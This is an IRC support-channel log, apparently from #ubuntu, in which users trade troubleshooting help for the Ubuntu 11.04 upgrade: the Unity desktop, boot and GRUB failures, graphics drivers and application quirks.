[06:41] <sebsebseb> truepurple: no probably can't really help you much
[06:41] <bp0> what do I have to do to get the back to normal
[06:41] <merther> pfifo, you did it buddy!  Thanks very much.  You're a life saver.
[06:41] <pfifo> Vustom, just a shot in the dark, but try making it on the desktop and then dragging it to the panel
[06:42] <nzashadow> should I upgrade to 11.04?
[06:42] <plustax__> Im having some trouble. I have xchat open. I clicked minimized and it looks like it closed it but it didnt.
[06:42] <quentusrex> Anyone able to help diagnose a KVM Bridged networking issue? I just upgraded the host to 11.04 and networking fails.
[06:42] <truepurple> sebsebseb: A particular place you can recommend for help?
[06:42] <plustax__> Now I have three xchats open and I cant find a window tasker
[06:42] <plustax__> running 11.04
[06:42] <quentusrex> it seems that the traffic gets to the host, but doesn't route properly.
[06:42] <sebsebseb> truepurple: here,  #ubuntu-beginners or ubuntuforums
[06:42] <plustax__> Anyone help me out?
[06:43] <bp0> merther... /dev/disk/by-label/
[06:43] <sebsebseb> !anyone | plustax__
[06:43] <ubottu> plustax__: A large amount of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out? See also !details, !gq, and !poll.
[06:43] <plustax__> Now I have three xchats open and I cant find a window tasker
[06:43] <plustax__> Im having some trouble. I have xchat open. I clicked minimized and it looks like it closed it but it didnt.
[06:43] <pfifo> plustax__, firstly, go into xchat setting and disable the task bar icon. then killall -9 xchat, then start a new fresh copy
[06:43] <Lesterwood> guys i need some help
[06:43] <Avt_> hi guys :)
[06:43] <truepurple> sebsebseb: Ok thanks, though this doesn't seem like a beginners problem. Any particular forum you would recommend?
[06:43] <sebsebseb> plustax__: oh nevermind you already had
[06:43] <Lesterwood> i got this window "Debconf on user"
[06:43] <Lesterwood> i got this window "Debconf on user"
[06:43] <Eddie> Hello there... I just had my computer crash when updating the new version... I try to boot but it telles me it cant mount the drive
[06:44] <Lesterwood> it is asking configuring gruppc
[06:44] <sebsebseb> truepurple: except ATI issues,  sure they can be complex to sort out, but they are a common problem beginners get as well with Ubuntu
[06:44] <plustax__> pfifo, I cant find the option to disable the taskbar icon
[06:44] <bp0> Lesterwood, everyone needs help... but that is a bug
[06:44] <bp0> one of many
[06:44] <bp0> dont hold your breath
[06:44] <Avt_> all the rooms I went to noone is talkin but I need to config monowall for a game
[06:44] <jaymeskeller> Hi, how do I change the boot args in Grub2 under 10.10?
[06:44] <Lesterwood> bp0, what should i do
[06:44] <Nathan_> anybody know anything about back track or rfid
[06:44] <bp0> curse and wave your arms in the air
[06:44] <pfifo> plustax__, alerts -> enable system tray icon
[06:44] <zvacet> plustax__: in unity it look like program is closed but if you look closer you will see something like arrow witch shows program is running
[06:45] <dxdemetriou> if the upgrade from 10.10 to 11.04 is completed can I repair it? After pressing OK it didn't make the cleanup process.
[06:45] <Avt_> bp0 thankyou for your delightfull response :) I will try that after im done eating hahahah
[06:45] <Lesterwood> anyone, please?
[06:45] <allowoverride> welp, 9.10 got farther that the 11.04 wubi
[06:45] <plustax__> okay I disabled the system tray icon
[06:45] <Lesterwood> thanks in advance
[06:45] <ZykoticK9> jaymeskeller, see !grub2 but you probably want /etc/default/grub
[06:45] <plustax__> now how do I go in and manage the other two open ones and close them individually?
[06:45] <allowoverride> looks good, going for reboot ;) apparently the new 11.04 wubi is hosed... someone advised buntu devs.
[06:45] <allowoverride> bbiab
[06:45] <Eddie> what can I do to recover ubuntu?
[06:45] <dxdemetriou> if the upgrade from 10.10 to 11.04 is completed with errors can I repair it? After pressing OK it didn't make the cleanup process. (sorry for the double post)
[06:45] <beoyndcr> has any one tried gnome 3 yet?
[06:46] <RoDiMuS-X> dxdemetrious: sudo apt-get autoremove
[06:46] <bp0> Lesterwood, thats a bug in ubuntu software center, there is nothing to do
[06:46] <plustax__> I notice I cant minimize windows at all with unity. They just disappear.
[06:46] <Lesterwood> bp0, what option do you reccomend i choose
[06:46] <plustax__> Isn't there some sort of window management system?>
[06:46] <zvacet> Eddie: what have you done to it
[06:46] <linux> What are you doing?
[06:47] <bp0> Lesterwood, oh you have options? most times I see that windows it is just blank
[06:47] <RoDiMuS-X> dxdemetriou: to fix broken packages: sudo apt-get install -f
[06:47] <Lesterwood> bp0 the options are as follows
[06:47] <Eddie> zvacet: My computer froze during installation and I rebooted, not it says it can't find the drive
[06:47] <Lesterwood> keep the local version currently installed
[06:47] <plustax__> Isn't there some sort of window management system? I cant minimize anything without it disappearing completely. Sometimes still running like my xchat right now. There are three instances of it open
[06:47] <Lesterwood> install package maintainers version
[06:47] <Shaggy2> OK so I have ubuntu 10.04 I have a nVidia gtx460 PCie card. ubuntu is not finding the drivers for it, where can I download the drivers for this card from?
[06:47] <zvacet> plustax__: they are signed as running with something like> or <
[06:48] <Lesterwood> show side by side diff
[06:48] <Lesterwood> merge
[06:48] <Lesterwood> or shell
[06:48] <RoDiMuS-X> Shaggy2: Nvidia.com
[06:48] <plustax__> xchat isnt signed as running right now zvacet and there are three open
[06:48] <zvacet> Eddie: I don´t know about that sorry
[06:48] <bp0> Lesterwood, what pacakage?
[06:48] <plustax__> unity just has the icon there like always
[06:48] <Lesterwood> bp0, what od you mean what package
[06:48] <plustax__> I dragged it there from my app tray to keep
[06:48] <FunnyLookinHat> Is there a way to get the Desktop Wall to be a single row of 4 viewports instead of a 2x2 square ?
[06:48] <FunnyLookinHat> (I'm trying to find it with CCSM Advanced, no dice)
[06:49] <bp0> Lesterwood, what package or file is it asking about? anyway, use the maintainer's version most likely, unless you remember editing that file yourself
[06:49] <Lesterwood> i never modified it
[06:49] <Lesterwood> i will take your word for it
[06:49] <zvacet> plustax__: this is all new so I don´t know what to  say it works for me but that is not answer to your question
[06:50] <dxdemetriou> RoDiMuS-X, it does not have any broken packages, just completed with errors without cleaning non-required packages, and the problem is that I can't find what package/s produced the problem.
[06:50] <Avt_> guys I cant get into #linux so is there another channel thats as active?
[06:50] <Barridus> ok quick question guys :)  is desktop wallpaper like gone?
[06:50] <RoDiMuS-X> dxdemetrow: you should run: sudo apt-get install -f then
[06:50] <Lesterwood> bp0, if it corrupts my grub again
[06:50] <Lesterwood> what can i do
[06:50] <RoDiMuS-X> dxdemetrow: it should fix any errors
[06:50] <Lesterwood> should i simply insert a disk and reinstall
[06:51] <Avt_> anyone can help get me to a nix room
[06:51] <RoDiMuS-X> dxdemetrow: then run: sudo apt-get autoremove to clean the packages
[06:51] <plustax> okay im in xchat. the icon is not showing up in unity
[06:51] <zvacet> Avt_: witch distro do you use
[06:51] <Avt_> plustax im in xchat portable
[06:51] <Shaggy2> how do I exit Xserver?
[06:52] <plustax> if I minimize it, it disappears and I click xchat again and it opens up a new one
[06:52] <plustax> I want to be able to minimize it and come back to the same one
[06:52] <aaron_wayne> does anyone know why i cant set chrome as my default borwser in natty?
[06:52] <Avt_> well I need to config my monowall firewall box for ut2004 in windows
[06:52] <kssxs> Hi there... need help with a WUBI install that, on reboot into Ubuntu, is giving me a by-UUID <UUID> does not exist error
[06:52] <ZykoticK9> Shaggy2, "sudo service gdm stop" perhaps
[06:52] <Avt_> so you could say bsd
[06:52] <kssxs> and drops to shell
[06:52] <kssxs> i'm a newb at this
[06:52]  * Lesterwood gently pokes bp0 
[06:52] <plustax> what do I do can anyone help me please?
[06:52] <Vustom> What's that Ubuntu torrent application with the blue raindrop logo? I forgot what it's called. :'(
[06:53] <Shaggy2> thank you
[06:53] <vibhav> <plustax> Yes
[06:53] <Avt_> zvacet thankyou for asking
[06:53] <Mitsukaru> Vustom: deluge
[06:53] <vibhav> <Vustom> Deluge
[06:53] <plustax> vibhav, alright what do I do?
[06:53] <Vustom> Thanks!
[06:53] <vibhav> <plustax> What is the problem?
[06:53] <jaymeskeller> Hi, last awnser was good, but now I'm having another problem. It seems like my ubuntu system has lost the normal theme, defaulting to GNOME's default. What could have happened to cause that?
[06:54] <vibhav> <plustax> What is the problem?
[06:54] <plustax> vibhav, I have xchat open but it isnt showing up in unity. If I minimize it, I lose it. I click xchat again and instead of bringing me to this one, it opens up a new one.
[06:54] <zvacet> Avt_: why do n´t you try to join some bsd chanell
[06:54] <Vustom> Is 11.4 called Natty? I forgot.
[06:54] <Vustom> D:
[06:54] <roasted_> How can I adjust my brightness on my laptop? This laptop does not have any dedication function keys on the keyboard.
[06:54] <Avt_> I tryed to join #bsd but its invite only
[06:54] <vibhav> <plustax> send me some screen shots of it
[06:54] <RoDiMuS-X> jaymeskeller: this happens to me all the time, I just log out and log back in and it usually fixes itself
[06:54] <Blue1> plustax: can you alt+tab to get to x-chat?
[06:54] <jaymeskeller> RoDiMuS-X: Thanks, I'll try it now.
[06:54] <ZykoticK9> !register > Avt_
[06:54] <ubottu> Avt_, please see my private message
[06:55] <alkisg> Is there any way to have synced "tasks" between Ubuntu and an android phone? Not necessarily evolution tasks, any app would do...
[06:55] <vibhav> <plustax> send me some screen shots of it
[06:55] <pfifo> yuskhanzab, keyboard is working fine for me, perhaps you should try purging wine and then reinstalling, somewhere along the way it looks like your keyboard layout got messed up
[06:55] <ZykoticK9> !natty > Vustom
[06:55] <ubottu> Vustom, please see my private message
[06:55] <yuskhanzab> reinstall wine?
[06:55] <Vustom> Thank you. ;3
[06:55] <Barridus> oy, where does evolution keep it's data now?  i don't see ~/.evolution/ in natty
[06:56] <plustax> vibhav, I took a screenshot and put it in my dropbox public. But I right click and there is no option to grab a link to show you
[06:56] <Avt_> just give me your bottle of wine also :P
[06:56] <zvacet> Avt_:  did you tried specific channel like #freebsd #openbsd
[06:56] <yuskhanzab> what wine version do you use pfifo
[06:56] <Avt_> I will try that, thanx zvacet
[06:56] <mah454> Hello ...
[06:56] <allowoverride> html_inprogress: ok, can you assist, im at the grub after rebooting with wubi safely assist loading cd rom. i selected Ubuntu first menu, then pressed escape at nfts 0,0 screen, which now im i see bsimage loading,,, and its hanging.... im using 9.10 desktop cd which is now reinserted, however, i do not think it should be... since it downloaded to the hd a c:\Ubuntu dir with all the files it needs... 1. do i need to be in saf
[06:56] <mah454> can i enable compiz in unity desktop ?
[06:56] <plustax> vibhav, pm
[06:56] <Karen_m> with 11.04, how do you get into System->updates or System menu...
[06:57] <Vustom> I think they should have done more work towards Unity before releasing it, seems as though they just ported it straight from the desktop version. :/
[06:57] <pfifo> yuskhanzab, 1.2.2, it came from the repos
[06:57] <Karen_m> i want to check my video drivers
[06:57] <Mitsukaru> (does anyone know how to organize the ubuntu launcher? there doesnt seem to be a good way to re-organize the order apps and stuff appear in...)
[06:57] <Vustom> notebook version.*
[06:57] <roasted_> How can I adjust my brightness on my laptop? This laptop does not have any dedication function keys on the keyboard.
[06:57] <RoDiMuS-X> mah454, its enabled by default if your video card supports it
[06:57] <yuskhanzab> im using the development ver 1.3.18
[06:57] <mah454> OK :)
[06:57] <mah454> tnx :)
[06:57]  * Mitsukaru cant find any help information about ubuntu 11.04's launcher
[06:57] <yuskhanzab> pfifo,  im using the development ver 1.3.18
[06:57] <kssxs> anyone?
[06:57] <Eddie> zvacet: do you think reinstalling ubuntu would allow me to finish the upgrade without having to lose my files?
[06:58] <vibhav> kssxs Yes sir?
[06:58] <kssxs> need help with a WUBI install that, on reboot into Ubuntu, is giving me a by-UUID <UUID> does not exist error
[06:58] <Mitsukaru> roasted_: if it's possible to adjust the brightness on your laptop you should be able to do it in the power settings in ubuntu
[06:58] <kssxs> and drops to shell
[06:58] <kssxs> i'm a newb at this
[06:58] <zvacet> Eddie: if you reinstall you will erase your files if you don´t back them up
[06:58] <pfifo> yuskhanzab, you can still do a uninstall/reinstall
[06:58] <kssxs> please and thanks :)
[06:58] <yuskhanzab> ok,
[06:58] <yuskhanzab> ill try
[06:59] <roasted_> Mitsukaru, I only have that option on AC power, not battery. :(
[06:59] <pfifo> yuskhanzab, it should mess with any settings and suhe in you home folder
[06:59] <pfifo> shouldn't
[06:59] <Avt_> its not workin for the bsd channel
[06:59] <Avt_> to join
[06:59] <dxdemetriou> where is the configuration for X now (xorg.conf)? Nvidia still uses xorg.conf.
[07:00] <Mitsukaru> why wouldnt your laptop have brightness buttons anyway o_O
[07:00] <Blue1> dxdemetriou: should be in /etc/X11/xorf.conf
[07:00] <ZykoticK9> Avt_, you need to register with Freenode, see the !register factoid (i already tried to send it to you)
[07:00] <Blue1> xorg.conf
[07:00] <mobodo> anyone can point me to a place where I can find what to do with my frozen UI un 11.04?  I can log in, but when I click on anything nothing happens.
[07:00] <aaron_wayne> does anyone know why natty will not allow chromium as default browser?
[07:00] <zvacet> Karen_m: in unity task bar click on applications>that will open window and on the right click on all apps and you will see drop down menu
[07:00] <aetaric> hey i'm on 11.04 and i can't get to gdm all i get is the failsafe window, the error in the log is, '(EE) NVIDIA(0): failed to load the NVIDIA kernel module!'
[07:01] <RoDiMuS-X> mobodo, what version
[07:01] <vibhav> <aaron_wayne> its not preinstalled
[07:01] <pfifo> aaron_wayne, it does, it just keeps saying its not
[07:01] <ZykoticK9> dxdemetriou, "sudo nvidia-xconfig" would generate one (at least pre-11.04)
[07:01] <mobodo> RoDiMuS-X: just upgraded to 11.04
[07:01] <Avt_> I got the register pm
[07:01] <RoDiMuS-X> mobodo, desktop that is, are you using Ubuntu Classic or Unity
[07:01] <jla> aetaric: install/reinstall nvidia-current; note if it says it makes the kernel module or not
[07:01] <Lesterwood> oh my god
[07:01] <Lesterwood> OH MY GOD
[07:02] <Lesterwood> where is my bottom taskbar
[07:02] <Lesterwood> WHERE
[07:02] <Blue1> RoDiMuS-X: upgrades are problematic - suggest backing up /home/ and /etc/ and then doing a fresh install
[07:02] <FloodBot1> Lesterwood: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[07:02] <mobodo> RoDiMuS-X: Unity.  Classic doesn't load anything - I just get a background image and no menu/icon, so it's useless
[07:02] <aetaric> jla, ok
[07:02] <Lesterwood> guys where is the taskbar in 11.04
[07:02] <Lesterwood> or does it no longer exist
[07:02] <jla> Lesterwood: log out, choose classic, log in
[07:02] <Blue1> Lesterwood: I coldn't find it in unity.
[07:02] <Lesterwood> so... how do i view all running tasks then
[07:02] <immysl> hi guys
[07:02] <Blue1> Lesterwood: ps -ef
[07:03] <Lesterwood> wat
[07:03] <Lesterwood> type it into a terminal?
[07:03] <Blue1> or ps - u [username]
[07:03] <jla> Lesterwood: running programs have an > by them in unity
[07:03] <RoDiMuS-X> mobodo, you could always clear out your profile folders
[07:03] <Lesterwood> :|
[07:03] <mobodo> RoDiMuS-X: did that already
[07:03] <Karen_m> i actually like unity!
[07:03] <Karen_m> UNITE
[07:03] <ZykoticK9> Lesterwood, follow the logout / classic option to get a more familiar UI
[07:03] <Karen_m> zvacet, thanks for that..
[07:03] <aetaric> jla, DKMS Install Completed
[07:03] <RoDiMuS-X> mobodo, hmmm
[07:04] <Blue1> i crashed unity on the livecd in 3 minutes w/o trying to do so.
[07:04] <ZykoticK9> Blue1, very common
[07:04] <jla> aetaric: try reboot and cross fingers then. I had to install the right linux headers
[07:04] <mobodo> RoDiMuS-X: ok, classic with no effect works
[07:04] <dxdemetriou> unity does not show anything, just the background..
[07:04] <zvacet> Karen_m: yw    :)
[07:04] <immysl> i'm experiencing graphic corruption. using intel integrated graphics. any idea why this happens?
[07:04] <Lesterwood> ZykoticK9, i want to learn to use unity
[07:04] <Lesterwood> alt tab seems to work
[07:04] <mobodo> I guess it's time I upgrade my graphics card :P
[07:04] <RoDiMuS-X> mobodo, What video driver are you using
[07:04] <aetaric> jla, i had a custom kernel on 10.10 and it's been fighting me all day
[07:04] <ZykoticK9> Lesterwood, well forget the bottom panel ;)
[07:05] <Lesterwood> i see
[07:05] <aetaric> finally removed it and now no X11 QQ
[07:05] <loworbit> Hi all, is this a good place to ask a question about 11.04?
[07:05] <aetaric> loworbit, sure
[07:05] <RoDiMuS-X> loworbit, the best
[07:05] <Blue1> loworbit: depends on question
[07:05] <Lesterwood> how do i add the temp monitor and cpu usage indicators
[07:05] <plustax> I need help. I have xchat open right now, and it isn't showing up in unity to my left. So if I minimize xchat, I can't find it. Ill click the xchat icon again and instead of bringing me back to my current session, it opens up a new one. There doesn't seem to be any window management that I can see. Also, I have dropbox. I open the dropbox folder and right click a file I want to share, and there doesn't seem to be an option to share a link with
[07:05] <plustax> someone. Defeats the purpose of having dropbox! Anyone help me out?
[07:05] <Lesterwood> to my taskbar?
[07:06] <Ubuntu_user> LAcan:  Hi dear, i have now installed ubuntu and i am on windows, how do i add entries using easyBCD
[07:06] <mobodo> RoDiMuS-X: it says "version current", "activated but not currently in use"
[07:06] <Blue1> plustax: and what happened when you tried alt+tab?
[07:06] <Karen_m> THE WIRELESS IN 11.04 ACTUALLY WORKS, yay ya ya ya yayayayayayaya\
[07:06] <Shaggy2> I was told that there is a way to force a GTX460 SE to handle 3 displays, it's an application that needs to be installed, does anyone know about it?
[07:06] <plustax> blue1 alt+tab works.
[07:06] <plustax> But isnt there any sort of visual app I can use?
[07:06] <Vustom> Is there an application out there that lets you Right-click an application, let's say Minecraft.jar, and theres an option to create minecraft.desktop with all the information I need inside of that file to drag it into Unity?
[07:06] <RoDiMuS-X> mobodo, ahh
[07:06] <quentusrex> Anyone know how to diagnose a network routing issue? I have a KVM host and the guest is not able to contact the network.
[07:06] <Lopyshok> people hi< help me install dota!!!!!!))))))))))))))))))))))))))
[07:06] <loworbit> Great :)  I have set up ruby on rails for development.  When I start the server via 'rails s' it start fine.  However when i hit Ctrl-C it does not kill the server as expected?
[07:06] <gp> i can play dota with wine
[07:06] <RoDiMuS-X> mobodo, i can't remember how I fixed that one
[07:07] <plustax> blue1 what about my dropbox problem?
[07:07] <Blue1> plustax: I opened up a terminal window, then firefox (off of livecd) and only way I could find any running task, was alt+tab in unity.  shortly after that, the system crashed.
[07:07] <quentusrex> I had the KVm host and guest working before the host was upgraded to 11.04, now something is wrong with routing.
[07:07] <RoDiMuS-X> mobodo, I think I just rebooted but I am sure you already tried that
[07:07] <gp> anyone can help me to join ubuntu help channel?
[07:07] <jla> loworbit: does it fork away from the console? might need to kill <pid>
[07:07] <gp> what is the name?
[07:07] <Blue1> plustax: sorry explain dropbox issues again?
[07:07] <Byan> was the xorg.conf moved recently?
[07:07] <mobodo> RoDiMuS-X: version is 270.41.06
[07:07] <Byan> where is it now..
[07:07] <loworbit> jla: Not sure.  I do know that on 10.10 I was able to Ctrl-C to kill
[07:07] <plustax> I open the dropbox folder and go to select a file. I right click to try and grab a public link to share the file and there is no option to do so blue1
[07:07] <zvacet> gp: you are part of it right now
[07:07] <pfifo> !details | gp
[07:08] <ubottu> gp: Please give us full details. For example: "I have a problem with ..., I'm running Ubuntu version .... When I try to do ..., I get the following output: ..., but I expected it to do ..."
[07:08] <ZykoticK9> Byan, /etc/X11 - but it's not there by default
[07:08] <atlef> gp, you are in the ubuntu help channel now
[07:08] <dxdemetriou> I have Ubuntu with sequential updates from Breezy 5.10. Maybe it's time to make a fresh install.
[07:08] <immysl> thanks ubottu.
[07:08] <allowoverride> html_inprogress: ok, can you assist, im at the grub after rebooting with wubi safely assist loading cd rom. i selected Ubuntu first menu, then pressed escape at nfts 0,0 screen, which now im i see bsimage loading,,, and its hanging.... im using 9.10 desktop cd which is now reinserted, however, i do not think it should be... since it downloaded to the hd a c:\Ubuntu dir with all the files it needs... 1. do i need to be in saf
[07:08] <Lorthirk> good morning... fresh installation of natty, but microphone not working anymore. was ok with 10.10. how to fix?
[07:08] <Blue1> plustax: ru using unity or gnome?  don/t know if you are using unity.
[07:08] <usalabs> wow, I just upgraded from Meerkat to 11.04, and even though there's a new interface, where do I find admin access?, such as 'Services'. startup programs' etc etc?
[07:08] <Lesterwood> can you add panels in unity
[07:08] <gp> i wanted to know the difference between FGLRX driver and the driver i downloaded from ATI website
[07:08] <plustax> blue1 im running unity
[07:08] <Lesterwood> or should i just go back to gnome
[07:09] <Blue1> usalabs: the magnifying glass with the + sign
[07:09] <Blue1> plustax: sorry dunno
[07:09] <aetaric> jla, great now i'm stuck in memtest...
[07:09] <usalabs> or system monitor
[07:09] <zvacet> dxdemetriou: why if is working correctly
[07:09] <ZykoticK9> Lesterwood, i don't think you can customize Unity very much.  Good luck.
[07:09] <kssxs> can anyone help with a WUBI install issue?
[07:09] <bp0> Lesterwood, no panels or panel applets in unity, they have "indicators" only
[07:09] <jla> usalabs: click power icon > system ssettings
[07:09] <Lesterwood> :|
[07:09] <Lesterwood> why does this feel like mac osx
[07:09] <Byan> ZykoticK9: hrm, how do I create a default conf? the dpkg-reconfigure command I executed didn't work
[07:09] <usalabs> hehehe, ok, thanks
[07:09] <Ubuntu_user> anybody who knows how to add Ubuntu entries in boot loader of windows using EasyBCD?
[07:09] <Blue1> Lesterwood: ask mr. shuttleworth, sir.
[07:09] <bp0> Lesterwood, thats what they're going for
[07:10] <jla> Lesterwood: because menus are at the top. I like it.
[07:10] <skurakai> Hi. I have trouble with setting default  OS (booting) in Ubuntu 11.04. Old setting doesnt work same as Startup-Manager.
[07:10] <Sik> Well, managed to get Ubuntu to finally boot properly by installing the nvidia 137 drivers o_o; But why not even the built-in VESA drivers work properly? (trying to boot with those makes the monitor shut down...) I'm curious now
[07:10] <ZykoticK9> Byan, you need to stop GDM then run "sudo X --configure" then copy the generated xorg.conf.FOO (in /root) to the proper location
[07:10] <vibhav> !vibhav | screenshots
[07:10] <vibhav> !vibhav | flood
[07:10] <gp> i wanted to know the difference between FGLRX driver and the driver i downloaded from ATI website
[07:11] <dxdemetriou> zvacet, I see a lot of warnings/errors in each new release and I have to choose if it's better the troubleshooting or rebuilding.
[07:11] <Byan> ZykoticK9: why do i need to stop gdm..
[07:11] <zvacet> bp0: off-topic but this will be mac for poor people
[07:11] <skurakai> no one have same problem with booting?
[07:11] <usalabs> also, when grub starts, my monitor shows frequency out of range, how do I fix it?
[07:11] <ZykoticK9> Byan, i'm done.  Good luck.
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[07:11] <vibhav> <skurakai> no one have same problem with booting?
[07:11] <vibhav> <usalabs> also, when grub starts, my monitor shows frequency out of range, how do I fix it?
[07:11] <vibhav> * philipballew (~philip@solidwall.pointloma.edu) has joined #ubuntu
[07:11] <vibhav> <ZykoticK9> Byan, i'm done.  Good luck.
[07:11] <FloodBot1> vibhav: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[07:11] <zvacet> dxdemetriou: go for fresh install then
[07:11] <dxdemetriou> zvacet, the latest is that I have the unity with background only.
[07:12] <Gatoratde> Hi, I'm having problems installing ubuntu 11.04 as a dual boot on my friends' computer.
[07:12] <Byan> ZykoticK9: apparently --configure isn't a option of X..
[07:12] <Byan> an
[07:12] <kssxs> can anyone help with a WUBI install issue, please?
[07:12] <Shaggy2> I was told that there is a way to force a GTX460 SE to handle 3 displays, it's an application that needs to be installed, does anyone know about it?
[07:12] <Gatoratde> WHen running wubi, it complains about having no hard disk inserted.
[07:12] <Logan_> !away >SudoGhost
[07:12] <ubottu> SudoGhost, please see my private message
[07:13] <atlef> !ask | kssxs
[07:13] <ubottu> kssxs: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[07:13] <Byan> Xorg --configure
[07:13] <Byan> I suppose you meant
[07:13] <plustax> Alright I need help with something. I have a file in my dropbox that I want to share with someone. I click the icon in the tray in the upper right. I go into my public folder and right click the file I want to share. There is no menu option there for me to get a public link so that I may share the file. Any idea what the issue could be?
[07:13] <Ubuntu_user> anybody who knows how to add Ubuntu entries in boot loader of windows using EasyBCD?
[07:13] <Byan> no, hrm
[07:13] <ZykoticK9> Byan, sorry yes Xorg
[07:13] <zvacet> dxdemetriou: after years of using ubuntu you don´t need my advice but fresh install look like best option
[07:13] <kssxs> lol
[07:13] <kssxs> alright
[07:13] <Gatoratde> I simply click continue till I get through the installer. I reeboot, and it just spits out grub and a list of commands
[07:13] <kssxs> need help with a WUBI install that, on reboot into Ubuntu, is giving me a by-UUID <UUID> does not exist error
[07:13] <kssxs> and drops to shell
[07:13] <nzashadow> has anyone tried config fusion?
[07:13] <kssxs> i'm a newb at this
[07:13] <kssxs> please and thanks :)
[07:13] <FloodBot1> kssxs: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[07:13] <skurakai> I have trouble with setting default  OS (booting) in Ubuntu 11.04. Old setting doesnt work same as Startup-Manager.
[07:13] <ZykoticK9> Byan, no, it is X --configure
[07:13] <sivau> helo
[07:13] <sivau> <sivau> can any1 help me pls...am trying to install ubuntu 11.04 ,it says No detected operating system,
[07:13] <sivau> <sivau> i want a duel boot with win7
[07:13] <sivau> <sivau> i have 2 disk partions
[07:14] <FloodBot1> sivau: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[07:14] <Gatoratde> I know that my friend did have boot manager software intalled .
[07:14] <Eddie> Is there a way to continue the upgrade after your system crashes
[07:14] <usalabs> anyone know how to fix the frequency out of range shown during grub
[07:14] <Ubuntu_user> sivau: I also have same problem since 110.10
[07:14] <Ubuntu_user> sivau: 10.10
[07:14] <ZykoticK9> Ubuntu_user, 110.10 - what that's a WAY future version ;)
[07:15] <sivau> how to get rid of this,since i wish to keep win 7
[07:15] <Ubuntu_user> ZykoticK9:  i corrected that, but i am gonna make that soon
[07:15] <Braiam> sivau: did you shutdown win7 in the proper wa
[07:15] <Gatoratde> help?
[07:15] <sivau> yes sir
[07:15] <Ubuntu_user> sivau:  its a problem with GRUB
[07:15] <sivau> nd am running from usb
[07:16] <Logan_> !please | Gatoratde
[07:16] <ubottu> Gatoratde: Avoid following your questions with a trail of "Please, help me", "Can nobody help me?", "I really need this!", and so on. This just contributes to making the channel unreadable. If you are not answered, ask again later; but see also !repeat and !attitude
[07:16] <vibhav> <quentusrex> I recommend using VirtualBox
[07:16] <Gatoratde> ok.
[07:16] <vibhav> !flood | vibhav
[07:16] <ubottu> vibhav, please see my private message
[07:16] <Gatoratde> !additude
[07:16] <kssxs> bleh
[07:16] <Gatoratde> ?
[07:16] <quentusrex> I already use virtualbox, but against kvm? not a chance for production.
[07:16] <drhydralisk> After a fresh install my headphones worked fine (auto switched to proper output) but when I restart my headphones are not recognized anymore (I did another fresh install without changing a single thing, just restarting and it still happened), any help?
[07:16] <Gatoratde> !repeat
[07:16] <sivau> how to fix the grub problm?
[07:16] <ubottu> Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. While you wait, try searching https://help.ubuntu.com or http://ubuntuforums.org or http://askubuntu.com/
[07:16] <vibhav> !language | vibhav
[07:17] <Lesterwood> uh
[07:17] <Byan> ZykoticK9: no, it's -configure not --configure, I see now
[07:17] <Lesterwood> sorry guys
[07:17] <Gatoratde> ok
[07:17] <Byan> anyway
[07:17] <Lesterwood> the new update
[07:17] <Lesterwood> ..
[07:17] <Byan> it failed =/
[07:17] <vibhav> !about | vibhav
[07:17] <Lesterwood> the new update convinced me to switch to debian
[07:17] <Logan_> Gatoratde: it's attitude, not additude ;)
[07:17] <vibhav> !cowsay | vibhav
[07:17] <Lesterwood> the new bloat is a the last straw for me
[07:17] <Logan_> !msg the bot | vibhav
[07:17] <ubottu> vibhav: Please investigate with me only with "/msg ubottu Bot" or in #ubuntu-bots.  Search for factoids with "/msg ubottu !search factoid".
[07:18] <Ubuntu_user> LAcan:  Hi dear, i have now installed ubuntu and i am on windows, how do i add entries using easyBCD
[07:19] <hasek79> if i upgrade to ubuntu 11 will it screw up my osx theme that i have with 10.10?
[07:19] <Lesterwood> hasek79,
[07:19] <Lesterwood> unity is osx
[07:19] <Gatoratde> ubuntu_user, i have the same problem
[07:19] <pfifo> hasek79, 99% sure it will
[07:19] <Ubuntu_user> Okay can anybody tell me form which file or drive does ubuntu load. 1. swap 2. / 3. /home
[07:19] <hasek79> damn
[07:20] <Lesterwood> if you like osx theme you will like unity
[07:20] <hasek79> i was wanting to upgade
[07:20] <Logan_> Lesterwood: No, it is not OS X.  Do not misinform users.
[07:20] <ZykoticK9> Ubuntu_user, /etc/fstab
[07:20] <Ubuntu_user> Gatoratde:  it can be solved if we are able to add ubuntu entries in windows bootloader using easy bcd
[07:20] <Gatoratde> how do I do that?
[07:20] <Lesterwood> i see 11.04 works even less with amd/ati drivers
[07:21] <Ubuntu_user> Gatoratde:  i am investigatigating it, just hold on
[07:21] <Lesterwood> oh well, ati/amd always sucked with drivers
[07:21] <Gatoratde> ok thanks
[07:21] <Stryker> how do i add applets in unity?
[07:21] <taglass> Lesterwood: I have no trouble with fglrx or the oss drivers in 11.04
[07:21] <Lesterwood> taglass, it might just be me, but things seem to render slower
[07:22] <Lesterwood> like, new windows maximizing and stuff
[07:22] <Lesterwood> maybe it is just me
[07:22] <sivau> no detected operating sytem while installing 11.04???
[07:22] <hasan> he
[07:22] <hasan> hii
[07:22] <Ubuntu_user> ZykoticK9:  okay so if i have to add entry for bootloader which dive i am gonna use
[07:22] <Stryker> where is the dev channel
[07:22] <hasan> ping
[07:22] <hasan> ping
[07:22] <linux> ping?
[07:23] <taglass> pong
[07:23] <hasan> can anyone help me
[07:23] <hasan> ?
[07:23] <taglass> !ask | hasan
[07:23] <ubottu> hasan: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[07:23] <Stryker> !flood|hasan
[07:23] <ubottu> hasan: For posting multi-line texts into the channel, please use http://paste.ubuntu.com | To post !screenshots use http://imagebin.org/?page=add | !pastebinit to paste directly from command line | Make sure you give us the URL for your paste - see also the channel topic.
[07:23] <Lesterwood> ubuntu should have a folder for windows files, so wine will run smootly
[07:23] <Lesterwood> it will not be legal
[07:23] <ZykoticK9> Ubuntu_user, drive?  if your the one asking about the windows bootloader BCE (whatever) I have no idea.  Linux doesn't use drive letters.
[07:23] <Lesterwood> so it will be "do at your own risk"
[07:23] <Jordan_U> !ot | Lesterwood
